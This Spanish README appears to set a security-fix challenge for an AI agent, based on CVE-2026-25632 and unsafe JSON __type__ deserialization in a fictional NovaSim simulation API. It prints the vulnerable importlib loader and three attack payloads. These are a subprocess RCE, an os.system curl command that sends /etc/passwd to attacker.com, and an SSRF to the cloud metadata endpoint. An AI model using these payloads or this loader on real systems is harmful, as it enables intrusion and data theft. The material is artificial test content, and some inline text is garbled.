
CVE-2026-25632 — Corrección de la deserialización insegura de JSON que conduce a la ejecución remota de código
Inspirado en una vulnerabilidad real de 2026 (CVSS 10.0, explotada activamente)
Basado en: CVE-2026-25632 — Ejecución remota de código mediante deserialización JSON insegura controlada por__type__, descubierta en la API REST de simulación de redes de agua EPyT-Flow y divulgada públicamente a principios de 2026.
NovaSim es un marco de simulación basado en Python que expone una API REST para el control remoto de experimentos científicos. Para admitir la serialización flexible de objetos en entornos cliente heterogéneos, un desarrollador agregó un cargador JSON personalizado que detecta un campo especial __type__ e importa e instancia dinámicamente la clase Python referenciada usando importlib.
Este patrón fue divulgado como una vulnerabilidad crítica de ejecución remota de código (RCE) en un importante proyecto de código abierto en 2026. Los investigadores de seguridad identificaron que un atacante que controla el cuerpo JSON puede construir una cadena de gadgets dirigida a cualquier invocable en la biblioteca estándar de Python — incluyendo subprocess.Popen, , , y más de 25 gadgets SSRF — logrando comprometer completamente el servidor con una sola solicitud HTTP, .
os.systemevalSe te proporciona la versión vulnerable de src/solution.py, que contiene exactamente el patrón de deserialización inseguro.
Tu objetivo: Corregir la vulnerabilidad en DeserializationService.load_from_json() para que:
SecurityError.__type__ ya no permita la importación arbitraria de módulos ni la instanciación de clases.__type__) continúen cargándose normalmente.# DANGEROUS — CVE-2026-25632 pattern
import importlib
def _unsafe_load(data: dict):
if "__type__" in data:
module_path, class_name = data["__type__"].rsplit(".", 1)
module = importlib.import_module(module_path) # attacker-controlled!
cls = getattr(module, class_name) # attacker-controlled!
return cls(**data.get("args", {})) # arbitrary code execution!
Un atacante envía una solicitud POST con un cuerpo JSON manipulado:
Vector 1 — RCE directo mediante subprocess:
{
"__type__": "subprocess.Popen",
"args": {"args": ["id"], "shell": true}
}
Vector 2 — RCE mediante os.system:
{
"__type__": "os.system",
"args": {"command": "curl http://attacker.com/exfil?data=$(cat /etc/passwd)"}
}
Vector 3 — SSRF mediante urllib.request.urlopen:
{
"__type__": "urllib.request.urlopen",
"args": {"url": "http://169.254.169.254/latest/meta-data/"}
}
Los investigadores de seguridad documentaron 12 gadgets RCE directos y 25 gadgets SSRF alcanzables de esta manera solo a través de la biblioteca estándar de Python.
Los siguientes, y solo los siguientes, tipos de objetos de simulación pueden deserializarse mediante __type__:
__type__ valor | Clase Python |
|---|---|
simulation.Sensor | novasim.models.Sensor |
simulation.Actuator | novasim.models.Actuator |
simulation.Scenario | novasim.models.Scenario |
Cualquier otro valor de __type__ DEBE lanzar un SecurityError inmediatamente, antes de que ocurra cualquier importación o instanciación.
Objetos JSON enviados a DeserializationService.load_from_json(raw: str) -> dict | SimObject
__type__: devuelve dict (JSON analizado).__type__ permitido: devuelve la instancia del objeto de simulación correspondiente.__type__ no permitido: lanza SecurityError con el mensaje: "Blocked unsafe type: <type_value>".ValueError con el mensaje: "Invalid JSON payload".| Escenario | Comportamiento esperado |
|---|---|
__type__ ausente | Analizar y devolver como dict plano |
__type__ = "simulation.Sensor" | Instanciar Sensor(**args) |
__type__ = "subprocess.Popen" | Lanzar SecurityError |
__type__ = "os.system" | Lanzar SecurityError |
__type__ = "__builtins__.eval" | Lanzar SecurityError |
__type__ = "" (cadena vacía) | Lanzar SecurityError |
__type__ es una lista o entero | Lanzar SecurityError (campo de tipo inválido) |
| Cadena JSON mal formada | Lanzar ValueError |
| Campos extra desconocidos en objeto válido | Aceptados, pasados como kwargs al constructor |
challenge-cve-2026-25632/
├── README.md <- Estás aquí
├── Dockerfile <- Entorno de compilación determinista
├── src/
│ ├── solution.py <- Código inicial con ERROR (tu objetivo)
│ ├── solution_fixed.py <- Solución de referencia (oculta del agente)
│ └── novasim/
│ ├── __init__.py
│ └── models.py <- Clases de modelo de simulación permitidas
└── tests/
└── test_solution.py <- Banco de pruebas (FALLA con el código erróneo, PASA con el corregido)
La corrección debe pasar TODOS los siguientes: